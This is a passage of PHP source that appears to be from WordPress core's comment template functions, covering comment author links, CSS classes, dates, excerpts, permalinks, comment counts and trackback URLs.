		return '';
	}
}

/**
 * Retrieves the HTML link to the URL of the author of the current comment.
 *
 * Both get_comment_author_url() and get_comment_author() rely on get_comment(),
 * which falls back to the global comment variable if the $comment_id argument is empty.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's link.
 *                                   Default current comment.
 * @return string The comment author name or HTML link for author's URL.
 */
function get_comment_author_link( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( ! empty( $comment->comment_ID ) ) {
		$comment_id = $comment->comment_ID;
	} elseif ( is_scalar( $comment_id ) ) {
		$comment_id = (string) $comment_id;
	} else {
		$comment_id = '0';
	}

	$comment_author_url = get_comment_author_url( $comment );
	$comment_author     = get_comment_author( $comment );

	if ( empty( $comment_author_url ) || 'http://' === $comment_author_url ) {
		$comment_author_link = $comment_author;
	} else {
		$rel_parts = array( 'ugc' );
		if ( ! wp_is_internal_link( $comment_author_url ) ) {
			$rel_parts = array_merge(
				$rel_parts,
				array( 'external', 'nofollow' )
			);
		}

		/**
		 * Filters the rel attributes of the comment author's link.
		 *
		 * @since 6.2.0
		 *
		 * @param string[]   $rel_parts An array of strings representing the rel tags
		 *                              which will be joined into the anchor's rel attribute.
		 * @param WP_Comment $comment   The comment object.
		 */
		$rel_parts = apply_filters( 'comment_author_link_rel', $rel_parts, $comment );

		$rel = implode( ' ', $rel_parts );
		$rel = esc_attr( $rel );
		// Empty space before 'rel' is necessary for later sprintf().
		$rel = ! empty( $rel ) ? sprintf( ' rel="%s"', $rel ) : '';

		$comment_author_link = sprintf(
			'<a href="%1$s" class="url"%2$s>%3$s</a>',
			$comment_author_url,
			$rel,
			$comment_author
		);
	}

	/**
	 * Filters the comment author's link for display.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_author` and `$comment_id` parameters were added.
	 *
	 * @param string $comment_author_link The HTML-formatted comment author link.
	 *                                    Empty for an invalid URL.
	 * @param string $comment_author      The comment author's username.
	 * @param string $comment_id          The comment ID as a numeric string.
	 */
	return apply_filters( 'get_comment_author_link', $comment_author_link, $comment_author, $comment_id );
}

/**
 * Displays the HTML link to the URL of the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's link.
 *                                   Default current comment.
 */
function comment_author_link( $comment_id = 0 ) {
	echo get_comment_author_link( $comment_id );
}

/**
 * Retrieves the IP address of the author of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's IP address.
 *                                   Default current comment.
 * @return string Comment author's IP address, or an empty string if it's not available.
 */
function get_comment_author_IP( $comment_id = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$comment = get_comment( $comment_id );

	/**
	 * Filters the comment author's returned IP address.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author_ip The comment author's IP address, or an empty string if it's not available.
	 * @param string     $comment_id        The comment ID as a numeric string.
	 * @param WP_Comment $comment           The comment object.
	 */
	return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment->comment_ID, $comment );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}

/**
 * Displays the IP address of the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's IP address.
 *                                   Default current comment.
 */
function comment_author_IP( $comment_id = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	echo esc_html( get_comment_author_IP( $comment_id ) );
}

/**
 * Retrieves the URL of the author of the current comment, not linked.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's URL.
 *                                   Default current comment.
 * @return string Comment author URL, if provided, an empty string otherwise.
 */
function get_comment_author_url( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_url = '';
	$comment_id         = 0;

	if ( ! empty( $comment ) ) {
		$comment_author_url = ( 'http://' === $comment->comment_author_url ) ? '' : $comment->comment_author_url;
		$comment_author_url = esc_url( $comment_author_url, array( 'http', 'https' ) );

		$comment_id = $comment->comment_ID;
	}

	/**
	 * Filters the comment author's URL.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string          $comment_author_url The comment author's URL, or an empty string.
	 * @param string|int      $comment_id         The comment ID as a numeric string, or 0 if not found.
	 * @param WP_Comment|null $comment            The comment object, or null if not found.
	 */
	return apply_filters( 'get_comment_author_url', $comment_author_url, $comment_id, $comment );
}

/**
 * Displays the URL of the author of the current comment, not linked.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's URL.
 *                                   Default current comment.
 */
function comment_author_url( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_url = get_comment_author_url( $comment );

	/**
	 * Filters the comment author's URL for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author_url The comment author's URL.
	 * @param string $comment_id         The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_url', $comment_author_url, $comment->comment_ID );
}

/**
 * Retrieves the HTML link of the URL of the author of the current comment.
 *
 * $link_text parameter is only used if the URL does not exist for the comment
 * author. If the URL does exist then the URL will be used and the $link_text
 * will be ignored.
 *
 * Encapsulate the HTML link between the $before and $after. So it will appear
 * in the order of $before, link, and finally $after.
 *
 * @since 1.5.0
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. The text to display instead of the comment
 *                                  author's email address. Default empty.
 * @param string         $before    Optional. The text or HTML to display before the email link.
 *                                  Default empty.
 * @param string         $after     Optional. The text or HTML to display after the email link.
 *                                  Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object.
 *                                  Default is the current comment.
 * @return string The HTML link between the $before and $after parameters.
 */
function get_comment_author_url_link( $link_text = '', $before = '', $after = '', $comment = 0 ) {
	$comment_author_url = get_comment_author_url( $comment );

	$display = ( '' !== $link_text ) ? $link_text : $comment_author_url;
	$display = str_replace( 'http://www.', '', $display );
	$display = str_replace( 'http://', '', $display );

	if ( str_ends_with( $display, '/' ) ) {
		$display = substr( $display, 0, -1 );
	}

	$comment_author_url_link = $before . sprintf(
		'<a href="%1$s" rel="external">%2$s</a>',
		$comment_author_url,
		$display
	) . $after;

	/**
	 * Filters the comment author's returned URL link.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_author_url_link The HTML-formatted comment author URL link.
	 */
	return apply_filters( 'get_comment_author_url_link', $comment_author_url_link );
}

/**
 * Displays the HTML link of the URL of the author of the current comment.
 *
 * @since 0.71
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's
 *                                  email address. Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link.
 *                                  Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link.
 *                                  Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object.
 *                                  Default is the current comment.
 */
function comment_author_url_link( $link_text = '', $before = '', $after = '', $comment = 0 ) {
	echo get_comment_author_url_link( $link_text, $before, $after, $comment );
}

/**
 * Generates semantic classes for each comment element.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
 *
 * @param string|string[] $css_class Optional. One or more classes to add to the class list.
 *                                   Default empty.
 * @param int|WP_Comment  $comment   Optional. Comment ID or WP_Comment object. Default current comment.
 * @param int|WP_Post     $post      Optional. Post ID or WP_Post object. Default current post.
 * @param bool            $display   Optional. Whether to print or return the output.
 *                                   Default true.
 * @return void|string Void if `$display` argument is true, comment classes if `$display` is false.
 */
function comment_class( $css_class = '', $comment = null, $post = null, $display = true ) {
	// Separates classes with a single space, collates classes for comment DIV.
	$css_class = 'class="' . implode( ' ', get_comment_class( $css_class, $comment, $post ) ) . '"';

	if ( $display ) {
		echo $css_class;
	} else {
		return $css_class;
	}
}

/**
 * Returns the classes for the comment div as an array.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @global int $comment_alt
 * @global int $comment_depth
 * @global int $comment_thread_alt
 *
 * @param string|string[] $css_class  Optional. One or more classes to add to the class list.
 *                                    Default empty.
 * @param int|WP_Comment  $comment_id Optional. Comment ID or WP_Comment object. Default current comment.
 * @param int|WP_Post     $post       Optional. Post ID or WP_Post object. Default current post.
 * @return string[] An array of classes.
 */
function get_comment_class( $css_class = '', $comment_id = null, $post = null ) {
	global $comment_alt, $comment_depth, $comment_thread_alt;

	$classes = array();

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return $classes;
	}

	// Get the comment type (comment, trackback).
	$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;

	// Add classes for comment authors that are registered users.
	$user = $comment->user_id ? get_userdata( $comment->user_id ) : false;
	if ( $user ) {
		$classes[] = 'byuser';
		$classes[] = 'comment-author-' . sanitize_html_class( $user->user_nicename, $comment->user_id );
		// For comment authors who are the author of the post.
		$_post = get_post( $post );
		if ( $_post ) {
			if ( $comment->user_id === $_post->post_author ) {
				$classes[] = 'bypostauthor';
			}
		}
	}

	if ( empty( $comment_alt ) ) {
		$comment_alt = 0;
	}
	if ( empty( $comment_depth ) ) {
		$comment_depth = 1;
	}
	if ( empty( $comment_thread_alt ) ) {
		$comment_thread_alt = 0;
	}

	if ( $comment_alt % 2 ) {
		$classes[] = 'odd';
		$classes[] = 'alt';
	} else {
		$classes[] = 'even';
	}

	++$comment_alt;

	// Alt for top-level comments.
	if ( 1 === $comment_depth ) {
		if ( $comment_thread_alt % 2 ) {
			$classes[] = 'thread-odd';
			$classes[] = 'thread-alt';
		} else {
			$classes[] = 'thread-even';
		}
		++$comment_thread_alt;
	}

	$classes[] = "depth-$comment_depth";

	if ( ! empty( $css_class ) ) {
		if ( ! is_array( $css_class ) ) {
			$css_class = preg_split( '#\s+#', $css_class );
		}
		$classes = array_merge( $classes, $css_class );
	}

	$classes = array_map( 'esc_attr', $classes );

	/**
	 * Filters the returned CSS classes for the current comment.
	 *
	 * @since 2.7.0
	 *
	 * @param string[]    $classes    An array of comment classes.
	 * @param string[]    $css_class  An array of additional classes added to the list.
	 * @param string      $comment_id The comment ID as a numeric string.
	 * @param WP_Comment  $comment    The comment object.
	 * @param int|WP_Post $post       The post ID or WP_Post object.
	 */
	return apply_filters( 'comment_class', $classes, $css_class, $comment->comment_ID, $comment, $post );
}

/**
 * Retrieves the comment date of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the date.
 *                                   Default current comment.
 * @return string The comment's date.
 */
function get_comment_date( $format = '', $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$_format = ! empty( $format ) ? $format : get_option( 'date_format' );

	$comment_date = mysql2date( $_format, $comment->comment_date );

	/**
	 * Filters the returned comment date.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comment_date Formatted date string or Unix timestamp.
	 * @param string     $format       PHP date format.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_date', $comment_date, $format, $comment );
}

/**
 * Displays the comment date of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Comment $comment_id WP_Comment or ID of the comment for which to print the date.
 *                                   Default current comment.
 */
function comment_date( $format = '', $comment_id = 0 ) {
	echo get_comment_date( $format, $comment_id );
}

/**
 * Retrieves the excerpt of the given comment.
 *
 * Returns a maximum of 20 words with an ellipsis appended if necessary.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the excerpt.
 *                                   Default current comment.
 * @return string The possibly truncated comment excerpt.
 */
function get_comment_excerpt( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( ! post_password_required( $comment->comment_post_ID ) ) {
		$comment_text = strip_tags( str_replace( array( "\n", "\r" ), ' ', $comment->comment_content ) );
	} else {
		$comment_text = __( 'Password protected' );
	}

	/* translators: Maximum number of words used in a comment excerpt. */
	$comment_excerpt_length = (int) _x( '20', 'comment_excerpt_length' );

	/**
	 * Filters the maximum number of words used in the comment excerpt.
	 *
	 * @since 4.4.0
	 *
	 * @param int $comment_excerpt_length The amount of words you want to display in the comment excerpt.
	 */
	$comment_excerpt_length = apply_filters( 'comment_excerpt_length', $comment_excerpt_length );

	$comment_excerpt = wp_trim_words( $comment_text, $comment_excerpt_length, '&hellip;' );

	/**
	 * Filters the retrieved comment excerpt.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_excerpt The comment excerpt text.
	 * @param string     $comment_id      The comment ID as a numeric string.
	 * @param WP_Comment $comment         The comment object.
	 */
	return apply_filters( 'get_comment_excerpt', $comment_excerpt, $comment->comment_ID, $comment );
}

/**
 * Displays the excerpt of the current comment.
 *
 * @since 1.2.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the excerpt.
 *                                   Default current comment.
 */
function comment_excerpt( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_excerpt = get_comment_excerpt( $comment );

	/**
	 * Filters the comment excerpt for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_excerpt The comment excerpt text.
	 * @param string $comment_id      The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment->comment_ID );
}

/**
 * Retrieves the comment ID of the current comment.
 *
 * @since 1.5.0
 *
 * @return string The comment ID as a numeric string.
 */
function get_comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$comment = get_comment();

	$comment_id = ! empty( $comment->comment_ID ) ? $comment->comment_ID : '0';

	/**
	 * Filters the returned comment ID.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment` parameter was added.
	 *
	 * @param string     $comment_id The current comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment object.
	 */
	return apply_filters( 'get_comment_ID', $comment_id, $comment );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}

/**
 * Displays the comment ID of the current comment.
 *
 * @since 0.71
 */
function comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	echo get_comment_ID();
}

/**
 * Retrieves the link to a given comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. Added `$cpage` argument.
 *
 * @see get_page_of_comment()
 *
 * @global WP_Rewrite $wp_rewrite      WordPress rewrite component.
 * @global bool       $in_comment_loop
 *
 * @param WP_Comment|int|null $comment Optional. Comment to retrieve. Default current comment.
 * @param array               $args {
 *     An array of optional arguments to override the defaults.
 *
 *     @type string     $type      Passed to get_page_of_comment().
 *     @type int        $page      Current page of comments, for calculating comment pagination.
 *     @type int        $per_page  Per-page value for comment pagination.
 *     @type int        $max_depth Passed to get_page_of_comment().
 *     @type int|string $cpage     Value to use for the comment's "comment-page" or "cpage" value.
 *                                 If provided, this value overrides any value calculated from `$page`
 *                                 and `$per_page`.
 * }
 * @return string The permalink to the given comment.
 */
function get_comment_link( $comment = null, $args = array() ) {
	global $wp_rewrite, $in_comment_loop;

	$comment = get_comment( $comment );

	// Back-compat.
	if ( ! is_array( $args ) ) {
		$args = array( 'page' => $args );
	}

	$defaults = array(
		'type'      => 'all',
		'page'      => '',
		'per_page'  => '',
		'max_depth' => '',
		'cpage'     => null,
	);

	$args = wp_parse_args( $args, $defaults );

	$comment_link = get_permalink( $comment->comment_post_ID );

	// The 'cpage' param takes precedence.
	if ( ! is_null( $args['cpage'] ) ) {
		$cpage = $args['cpage'];

		// No 'cpage' is provided, so we calculate one.
	} else {
		if ( '' === $args['per_page'] && get_option( 'page_comments' ) ) {
			$args['per_page'] = get_option( 'comments_per_page' );
		}

		if ( empty( $args['per_page'] ) ) {
			$args['per_page'] = 0;
			$args['page']     = 0;
		}

		$cpage = $args['page'];

		if ( '' === $cpage ) {
			if ( ! empty( $in_comment_loop ) ) {
				$cpage = (int) get_query_var( 'cpage' );
			} else {
				// Requires a database hit, so we only do it when we can't figure out from context.
				$cpage = get_page_of_comment( $comment->comment_ID, $args );
			}
		}

		/*
		 * If the default page displays the oldest comments, the permalinks for comments on the default page
		 * do not need a 'cpage' query var.
		 */
		if ( 'oldest' === get_option( 'default_comments_page' ) && 1 === $cpage ) {
			$cpage = '';
		}
	}

	if ( $cpage && get_option( 'page_comments' ) ) {
		if ( $wp_rewrite->using_permalinks() ) {
			if ( $cpage ) {
				$comment_link = trailingslashit( $comment_link ) . $wp_rewrite->comments_pagination_base . '-' . $cpage;
			}

			$comment_link = user_trailingslashit( $comment_link, 'comment' );
		} elseif ( $cpage ) {
			$comment_link = add_query_arg( 'cpage', $cpage, $comment_link );
		}
	}

	if ( $wp_rewrite->using_permalinks() ) {
		$comment_link = user_trailingslashit( $comment_link, 'comment' );
	}

	$comment_link = $comment_link . '#comment-' . $comment->comment_ID;

	/**
	 * Filters the returned single comment permalink.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added the `$cpage` parameter.
	 *
	 * @see get_page_of_comment()
	 *
	 * @param string     $comment_link The comment permalink with '#comment-$id' appended.
	 * @param WP_Comment $comment      The current comment object.
	 * @param array      $args         An array of arguments to override the defaults.
	 * @param int        $cpage        The calculated 'cpage' value.
	 */
	return apply_filters( 'get_comment_link', $comment_link, $comment, $args, $cpage );
}

/**
 * Retrieves the link to the current post comments.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The link to the comments.
 */
function get_comments_link( $post = 0 ) {
	$hash          = get_comments_number( $post ) ? '#comments' : '#respond';
	$comments_link = get_permalink( $post ) . $hash;

	/**
	 * Filters the returned post comments permalink.
	 *
	 * @since 3.6.0
	 *
	 * @param string      $comments_link Post comments permalink with '#comments' appended.
	 * @param int|WP_Post $post          Post ID or WP_Post object.
	 */
	return apply_filters( 'get_comments_link', $comments_link, $post );
}

/**
 * Displays the link to the current post comments.
 *
 * @since 0.71
 *
 * @param string $deprecated   Not Used.
 * @param string $deprecated_2 Not Used.
 */
function comments_link( $deprecated = '', $deprecated_2 = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '0.72' );
	}
	if ( ! empty( $deprecated_2 ) ) {
		_deprecated_argument( __FUNCTION__, '1.3.0' );
	}
	echo esc_url( get_comments_link() );
}

/**
 * Retrieves the amount of comments a post has.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 * @return string|int If the post exists, a numeric string representing the number of comments
 *                    the post has, otherwise 0.
 */
function get_comments_number( $post = 0 ) {
	$post = get_post( $post );

	$comments_number = $post ? $post->comment_count : 0;
	$post_id         = $post ? $post->ID : 0;

	/**
	 * Filters the returned comment count for a post.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comments_number A string representing the number of comments a post has, otherwise 0.
	 * @param int        $post_id Post ID.
	 */
	return apply_filters( 'get_comments_number', $comments_number, $post_id );
}

/**
 * Displays the language string for the number of comments the current post has.
 *
 * @since 0.71
 * @since 5.4.0 The `$deprecated` parameter was changed to `$post`.
 *
 * @param string|false $zero Optional. Text for no comments. Default false.
 * @param string|false $one  Optional. Text for one comment. Default false.
 * @param string|false $more Optional. Text for more than one comment. Default false.
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 */
function comments_number( $zero = false, $one = false, $more = false, $post = 0 ) {
	echo get_comments_number_text( $zero, $one, $more, $post );
}

/**
 * Displays the language string for the number of comments the current post has.
 *
 * @since 4.0.0
 * @since 5.4.0 Added the `$post` parameter to allow using the function outside of the loop.
 *
 * @param string      $zero Optional. Text for no comments. Default false.
 * @param string      $one  Optional. Text for one comment. Default false.
 * @param string      $more Optional. Text for more than one comment. Default false.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 * @return string Language string for the number of comments a post has.
 */
function get_comments_number_text( $zero = false, $one = false, $more = false, $post = 0 ) {
	$comments_number = (int) get_comments_number( $post );

	if ( $comments_number > 1 ) {
		if ( false === $more ) {
			$comments_number_text = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s Comment', '%s Comments', $comments_number ),
				number_format_i18n( $comments_number )
			);
		} else {
			// % Comments
			/*
			 * translators: If comment number in your language requires declension,
			 * translate this to 'on'. Do not translate into your own language.
			 */
			if ( 'on' === _x( 'off', 'Comment number declension: on or off' ) ) {
				$text = preg_replace( '#<span class="screen-reader-text">.+?</span>#', '', $more );
				$text = preg_replace( '/&.+?;/', '', $text ); // Remove HTML entities.
				$text = trim( strip_tags( $text ), '% ' );

				// Replace '% Comments' with a proper plural form.
				if ( $text && ! preg_match( '/[0-9]+/', $text ) && str_contains( $more, '%' ) ) {
					/* translators: %s: Number of comments. */
					$new_text = _n( '%s Comment', '%s Comments', $comments_number );
					$new_text = trim( sprintf( $new_text, '' ) );

					$more = str_replace( $text, $new_text, $more );
					if ( ! str_contains( $more, '%' ) ) {
						$more = '% ' . $more;
					}
				}
			}

			$comments_number_text = str_replace( '%', number_format_i18n( $comments_number ), $more );
		}
	} elseif ( 0 === $comments_number ) {
		$comments_number_text = ( false === $zero ) ? __( 'No Comments' ) : $zero;
	} else { // Must be one.
		$comments_number_text = ( false === $one ) ? __( '1 Comment' ) : $one;
	}

	/**
	 * Filters the comments count for display.
	 *
	 * @since 1.5.0
	 *
	 * @see _n()
	 *
	 * @param string $comments_number_text A translatable string formatted based on whether the count
	 *                                     is equal to 0, 1, or 1+.
	 * @param int    $comments_number      The number of post comments.
	 */
	return apply_filters( 'comments_number', $comments_number_text, $comments_number );
}

/**
 * Retrieves the text of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 * @since 5.4.0 Added 'In reply to %s.' prefix to child comments in comments feed.
 *
 * @see Walker_Comment::comment()
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the text.
 *                                   Default current comment.
 * @param array          $args       Optional. An array of arguments. Default empty array.
 * @return string The comment content.
 */
function get_comment_text( $comment_id = 0, $args = array() ) {
	$comment = get_comment( $comment_id );

	$comment_text = $comment->comment_content;

	if ( is_comment_feed() && $comment->comment_parent ) {
		$parent = get_comment( $comment->comment_parent );
		if ( $parent ) {
			$parent_link = esc_url( get_comment_link( $parent ) );
			$name        = get_comment_author( $parent );

			$comment_text = sprintf(
				/* translators: %s: Comment link. */
				ent2ncr( __( 'In reply to %s.' ) ),
				'<a href="' . $parent_link . '">' . $name . '</a>'
			) . "\n\n" . $comment_text;
		}
	}

	/**
	 * Filters the text of a comment.
	 *
	 * @since 1.5.0
	 *
	 * @see Walker_Comment::comment()
	 *
	 * @param string     $comment_text Text of the comment.
	 * @param WP_Comment $comment      The comment object.
	 * @param array      $args         An array of arguments.
	 */
	return apply_filters( 'get_comment_text', $comment_text, $comment, $args );
}

/**
 * Displays the text of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @see Walker_Comment::comment()
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the text.
 *                                   Default current comment.
 * @param array          $args       Optional. An array of arguments. Default empty array.
 */
function comment_text( $comment_id = 0, $args = array() ) {
	$comment = get_comment( $comment_id );

	$comment_text = get_comment_text( $comment, $args );

	/**
	 * Filters the text of a comment to be displayed.
	 *
	 * @since 1.2.0
	 *
	 * @see Walker_Comment::comment()
	 *
	 * @param string          $comment_text Text of the comment.
	 * @param WP_Comment|null $comment      The comment object. Null if not found.
	 * @param array           $args         An array of arguments.
	 */
	echo apply_filters( 'comment_text', $comment_text, $comment, $args );
}

/**
 * Retrieves the comment time of the current comment.
 *
 * @since 1.5.0
 * @since 6.2.0 Added the `$comment_id` parameter.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'time_format' option.
 * @param bool           $gmt        Optional. Whether to use the GMT date. Default false.
 * @param bool           $translate  Optional. Whether to translate the time (for use in feeds).
 *                                   Default true.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the time.
 *                                   Default current comment.
 * @return string The formatted time.
 */
function get_comment_time( $format = '', $gmt = false, $translate = true, $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( null === $comment ) {
		return '';
	}

	$comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date;

	$_format = ! empty( $format ) ? $format : get_option( 'time_format' );

	$comment_time = mysql2date( $_format, $comment_date, $translate );

	/**
	 * Filters the returned comment time.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comment_time The comment time, formatted as a date string or Unix timestamp.
	 * @param string     $format       PHP date format.
	 * @param bool       $gmt          Whether the GMT date is in use.
	 * @param bool       $translate    Whether the time is translated.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_time', $comment_time, $format, $gmt, $translate, $comment );
}

/**
 * Displays the comment time of the current comment.
 *
 * @since 0.71
 * @since 6.2.0 Added the `$comment_id` parameter.
 *
 * @param string         $format     Optional. PHP time format. Defaults to the 'time_format' option.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the time.
 *                                   Default current comment.
 */
function comment_time( $format = '', $comment_id = 0 ) {
	echo get_comment_time( $format, false, true, $comment_id );
}

/**
 * Retrieves the comment type of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the type.
 *                                   Default current comment.
 * @return string The comment type.
 */
function get_comment_type( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( '' === $comment->comment_type ) {
		$comment->comment_type = 'comment';
	}

	/**
	 * Filters the returned comment type.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'.
	 * @param string     $comment_id   The comment ID as a numeric string.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_type', $comment->comment_type, $comment->comment_ID, $comment );
}

/**
 * Displays the comment type of the current comment.
 *
 * @since 0.71
 *
 * @param string|false $commenttxt   Optional. String to display for comment type. Default false.
 * @param string|false $trackbacktxt Optional. String to display for trackback type. Default false.
 * @param string|false $pingbacktxt  Optional. String to display for pingback type. Default false.
 */
function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) {
	if ( false === $commenttxt ) {
		$commenttxt = _x( 'Comment', 'noun' );
	}
	if ( false === $trackbacktxt ) {
		$trackbacktxt = __( 'Trackback' );
	}
	if ( false === $pingbacktxt ) {
		$pingbacktxt = __( 'Pingback' );
	}
	$type = get_comment_type();
	switch ( $type ) {
		case 'trackback':
			echo $trackbacktxt;
			break;
		case 'pingback':
			echo $pingbacktxt;
			break;
		default:
			echo $commenttxt;
	}
}

/**
 * Retrieves the current post's trackback URL.
 *
 * There is a check to see if permalink's have been enabled and if so, will
 * retrieve the pretty path. If permalinks weren't enabled, the ID of the
 * current post is used and appended to the correct page to go to.
 *
 * @since 1.5.0
 *
 * @return string The trackback URL after being filtered.
 */
function get_trackback_url() {
	if ( get_option( 'permalink_structure' ) ) {
		$trackback_url = trailingslashit( get_permalink() ) . user_trailingslashit( 'trackback', 'single_trackback' );
	} else {
		$trackback_url = get_option( 'siteurl' ) . '/wp-trackback.php?p=' . get_the_ID();
	}

	/**
	 * Filters the returned trackback URL.
	 *
	 * @since 2.2.0
	 *
	 * @param string $trackback_url The trackback URL.
	 */
	return apply_filters( 'trackback_url', $trackback_url );
}

/**
 * Displays the current post's trackback URL.
 *
 * @since 0.71
 *
 * @param bool $deprecated_echo Not used.
 * @return void|string Should only be used to echo the trackback URL, use get_trackback_url()
 *                     for the result instead.
 */
function trackback_url( $deprecated_echo = true ) {
	if ( true !== $deprecated_echo ) {
		_deprecated_argument(
			__FUNCTION__,
			'2.5.0',
			sprintf(
				/* translators: %s: get_trackback_url() */
				__( 'Use %s instead if you do not want the value echoed.' ),
				'<code>get_trackback_url()</code>'
			)
		);
	}

	if ( $deprecated_echo ) {
		echo get_trackback_url();
	} else {
		return get_trackback_url();
	}
}

/**
 * Generates and displays the RDF for the trackback information of current post.
 *
